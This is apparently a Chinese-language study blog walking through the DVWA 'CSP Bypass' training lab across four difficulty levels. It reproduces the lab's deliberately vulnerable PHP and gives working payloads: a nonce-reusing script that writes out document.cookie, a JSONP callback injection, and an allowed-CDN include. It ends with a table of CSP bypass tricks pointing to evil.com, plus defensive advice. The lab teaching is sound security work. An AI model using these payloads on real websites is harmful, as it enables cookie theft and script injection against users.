文章目录
前言
个人学习
一、Content Security Policy (CSP) Bypass是什么?
CSP(Content Security Policy,内容安全策略)是一个强大的XSS防御机制,但它并非牢不可破。当策略配置不当或与其他Web技术组合时,就可能出现绕过漏洞。
CSP通过Content-Security-Policy HTTP头或<meta>标签,以白名单形式告诉浏览器哪些资源是允许的,从而降低XSS风险。例如:
Content-Security-Policy: script-src 'self' https://trusted.cdn.com
这条策略告诉浏览器,只允许执行同源’self’以及来自https://trusted.cdn.com的JavaScript脚本
如果攻击者往网页里注入了 <script src="http://evil.com/hack.js"></script>,浏览器就会拒绝加载这个脚本,因为 CSP 不允许从 evil.com 加载
本练习/题目的目标是:在启用 CSP 的页面中,找到能够执行 JavaScript 的方法(通常源于 CSP 配置不当或实现缺陷),从而演示该配置的脆弱性。
二、步骤
1.Low
代码如下:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com unpkg.com cdn.jsdelivr.net digi.ninja ;"; // allows js from various trusted locations
header($headerCSP);
# These might work if you can't create your own for some reason
# https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js
# https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
<p>
You will probably need to do some reading up on what some of the domains allowed by the CSP do and how they can be used.
</p>
';
源码对 HTTP 头定义了 CSP 标签,从而定义了可以接受外部 JavaScript 资源的白名单,允许的域名包括:self(同源)、pastebin.com、hastebin.com、toptal.com、example.com、code.jquery.com、ssl.google-analytics.com、unpkg.com、cdn.jsdelivr.net、digi.ninja

允许你从这些地址获取脚本https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js
该脚本的域名 cdn.jsdelivr.net 在 CSP 白名单中,因此浏览器允许加载并执行其内容。脚本内容为 alert(‘CSP Bypass’) 或其他类似代码
从而演示了 CSP 配置虽然限制了来源,但若白名单中包含可被攻击者利用的端点,仍能执行恶意代码
2.Medium
后端代码如下:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
在 Medium 级别中,服务端返回的 CSP 响应头去掉了对 pastebin.com 等域名的白名单校验,改为使用 nonce(一次性随机数)机制进行限制。具体 CSP 策略如下:
script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='
这意味着,页面中任何 <script> 标签必须携带正确的 nonce 属性,且其值与策略中给定的 nonce- 后面的字符串完全一致,脚本才会被浏览器执行。
因此,攻击者只需要在提交的脚本标签中显式添加 nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=" 即可绕过 CSP 限制。例如:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">document.write(document.cookie);</script>
关于 HTML nonce 属性的详细信息,可参考:
https://deepinout.com/html/html-questions/398_html_whats_the_purpose_of_the_html_nonce_attribute_for_script_and_style_elements.html
什么是 nonce 属性?
nonce(Number used once,一次性数字)是 HTML 为 <script> 和 <style> 元素提供的一个安全属性,用于配合内容安全策略(CSP)实现精确的内联脚本白名单。
工作原理
- 服务器在生成页面时,为每个需要执行的内联脚本生成一个不可预测的随机字符串(例如
TmV2ZXIg...)。 - 服务器将该字符串作为
nonce属性的值写入<script>标签,并在 CSP 响应头中通过script-src 'nonce-<随机值>'告知浏览器该值是允许的。 - 浏览器加载页面后,只会执行
nonce属性值与 CSP 头中指定值一致的<script>标签,从而阻止攻击者注入的任何不带正确nonce的恶意脚本。
示例
Content-Security-Policy: script-src 'nonce-abc123'
<script nonce="abc123">alert('Trusted script');</script> <!-- 允许执行 -->
<script>alert('Untrusted script');</script> <!-- 阻止执行 -->
为什么 nonce 比 unsafe-inline 安全?
unsafe-inline允许所有内联脚本执行,完全破坏 CSP 防御。nonce只允许携带正确随机数的特定脚本,攻击者无法猜测该随机数,因此无法注入可执行的脚本。
注意事项
nonce值必须足够随机(至少 128 位),每次页面刷新应重新生成,否则攻击者可复用已知的nonce。- 如果同时存在
unsafe-inline和nonce,现代浏览器会忽略unsafe-inline,以nonce为准。 - 对于外部脚本(
<script src="...">),也可以使用nonce属性,但通常外部脚本通过域名白名单控制更常见。

3.High
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
本题目的 CSP 策略为 script-src 'self';,仅允许执行同源脚本,禁止内联脚本和外部非同源脚本。页面通过 JSONP 技术从 source/jsonp.php 获取数据,并调用回调函数 solveSum。攻击者需要让该 JSONP 接口返回恶意 JavaScript 代码,从而绕过 CSP 并执行任意代码。
利用方法
-
直接修改
jsonp.php文件
将source/jsonp.php的内容改为:<?php $callback = $_GET['callback']; echo $callback . '({"answer": 15}); alert(1);';当用户点击“Solve the sum”按钮时,动态加载的脚本会执行
alert(1)。 -
通过
include参数注入同源脚本(如果允许)
虽然用户输入$_POST['include']直接输出到页面,但内联脚本<script>alert(1)</script>因 CSP 禁止unsafe-inline而无法执行。但可以注入一个指向同源脚本的<script src="...">标签,例如:<script src="source/jsonp.php?callback=alert(1)"></script>这要求
jsonp.php输出alert(1);格式的响应。若jsonp.php原本只接受callback参数并输出callback(...),则修改它后即可生效。
为什么能绕过 CSP?
script-src 'self'允许从同源加载外部脚本。jsonp.php位于同源,因此其返回的脚本(包含恶意代码)会被浏览器执行。- 攻击者通过修改服务器端文件或控制 JSONP 接口的输出,实现了任意 JavaScript 执行,从而绕过 CSP。

POST 包是自己发的
- 通过 HackBar 或类似工具,手动构造了一个 POST 请求,目标是
http://172.00.000.00/DVWA/vulnerabilities/csp/。 - POST 参数
include的内容是:<script src="source/jsonp.php?callback=alert(document.cookie);"></script>。 - 这个请求的作用是:让服务器把这段 HTML/JS 代码输出到页面上,从而在浏览器中动态加载一个同源的脚本。
目的不是修改 callback 的“返回值”,而是控制 JSONP 的输出内容
jsonp.php原本设计是用来做 JSONP 服务的,它会接收callback参数,然后输出类似solveSum({"answer":15})的内容。- 通过修改
callback参数的值(从solveSum改成alert(document.cookie);),让服务器输出的内容变成了alert(document.cookie);({"answer":15})。 - 这实际上是改变了 JSONP 响应的 JavaScript 代码,而不是修改返回值。因为 JSONP 的原理就是把
callback参数的值当作函数名,然后调用它。你传入alert(...),它就调用alert。
为什么弹窗了?
- 浏览器加载
source/jsonp.php?callback=alert(document.cookie);后,执行返回的脚本:alert(document.cookie);({"answer":15})。 - 这是一个合法的 JS 语句:先执行
alert弹窗,然后执行一个对象字面量(无副作用)。 - 由于
jsonp.php没有对callback参数做白名单过滤,攻击者可以任意指定函数名,从而执行任意 JS 代码。
与 CSP 的关系
- 当前 CSP 策略为
script-src 'self';,只允许加载同源脚本 jsonp.php位于同源,所以浏览器允许加载并执行它- 通过
include参数注入的<script>标签,其实也是加载同源资源,符合 CSP 策略 - 因此成功绕过了 CSP 的限制,实现了 XSS 攻击
题目本意 vs 实际利用
- 题目描述中说“Modify that page to run your own code”,本意是让你去修改服务器上的
source/jsonp.php文件内容(比如直接写alert(1);)。 - 但实际测试发现,
jsonp.php本身存在callback 参数注入漏洞,你不需要修改文件,只需要通过参数就能注入恶意代码。这是 JSONP 接口的常见安全问题。
4.Impossible
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php"; // 固定路径,无参数
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
这段代码是 Impossible 级别 的 CSP 防御实现,与之前的 Medium/High 级别有本质区别。下面详细解释其安全特性。
代码功能分析
- 用户点击“Solve the sum”按钮时,动态创建一个
<script>标签。 - 该脚本的
src属性被硬编码为source/jsonp_impossible.php,没有任何查询参数(例如没有?callback=)。 - 脚本加载后,服务器应返回类似
solveSum({"answer": 15})的 JavaScript 代码,调用前端定义的solveSum函数。
为什么这是安全的?
| 特性 | 说明 |
|---|---|
| 固定脚本路径 | 不接受用户输入,攻击者无法通过参数注入恶意代码。 |
| 无回调参数 | 避免了 JSONP 常见的 callback 参数注入漏洞。 |
| 同源加载 | 符合 CSP script-src 'self' 策略,且内容完全由服务器控制。 |
| 无动态代码生成 | 服务器返回的脚本是静态的(或至少不依赖用户输入),因此无法被篡改。 |
与之前级别的对比
| 级别 | 技术 | 安全性 |
|---|---|---|
| Low | 无 CSP | 可直接注入任意脚本 |
| Medium | CSP + 域名白名单(含 pastebin.com 等) | 可利用白名单域名托管恶意脚本 |
| High | CSP + JSONP 动态回调 | 若 jsonp.php 未过滤回调函数名,可通过 callback=alert(1) 注入 |
| Impossible | CSP + 固定脚本路径(无参数) | 无法注入,完全安全 |
总结
- 该代码通过移除用户可控的参数输入,彻底消除了 JSONP 注入的风险。
- 即使攻击者能够控制页面的其他部分,也无法改变脚本加载的 URL 或注入额外的代码。
- 这是防御 CSP 绕过和 JSONP 安全问题的标准做法:不要动态生成脚本 URL,不要使用不可信的回调函数名。
总结
常见的 CSP 绕过方式
| 绕过方法 | 原理 | 示例 |
|---|---|---|
unsafe-inline | 允许内联脚本,可直接注入 <script>alert(1)</script>。 | 策略中包含 unsafe-inline |
unsafe-eval | 允许 eval()、setTimeout() 等,可将字符串转为代码执行。 | 使用 eval(location.hash) |
| 域名白名单过宽 | 信任整个 https: 或 *.example.com,攻击者可在任意 HTTPS 站点或子域名托管恶意脚本。 | 利用 GitHub Gist、CDN 上的恶意文件 |
| JSONP 接口 | 信任的域名存在 JSONP 接口,可通过 callback 参数执行任意函数。 | script-src 'self' api.com,而 api.com/jsonp?callback=alert(1) 返回 alert(1); |
<base> 标签劫持 | 改变相对路径的解析,加载恶意脚本。 | 注入 <base href="https://evil.com/"> |
| 表单劫持 | 未设置 form-action,可将表单提交到攻击者服务器。 | 注入 <form action="https://evil.com"> |
| 利用 CDN 上的“脚本小工具” | 允许的 CDN 上存在不安全的库(如 AngularJS 旧版),可构造表达式执行代码。 | 使用 AngularJS 的沙箱逃逸 |
| DNS 重绑定 | 利用域名解析时间差绕过基于域名的白名单。 | 较少见,但理论可行 |
泄露 nonce | 通过 CSS 注入或缓存攻击窃取合法的 nonce 值。 | 利用 :has() 选择器读取 nonce 并发送到攻击者服务器 |
防御 CSP 绕过的建议
- 禁用
unsafe-inline和unsafe-eval,使用nonce或hash精确控制内联脚本。 - 使用具体域名,避免通配符
*或过宽的关键字(如https:)。 - 为 JSONP 接口添加白名单,限制
callback参数只能为预定义的函数名。 - 设置
form-action 'self'防止表单劫持。 - 设置
base-uri 'self'防止<base>标签篡改。 - 启用 CSP 报告机制,监控违规行为并及时调整策略。
- 定期审计白名单域名,移除不再使用或不可信的源。
- 对敏感操作使用
nonce,且每次刷新页面重新生成不可预测的值。
CSP 是 XSS 防御的重要深度防御手段,但安全强度完全取决于配置的严格程度。如果配置不当(如允许
unsafe-inline、白名单过宽),攻击者仍能绕过并执行恶意代码。正确配置的 CSP 应遵循最小权限原则,避免使用不安全的指令,并结合nonce或hash精确放行合法脚本。
1033

被折叠的 条评论
为什么被折叠?



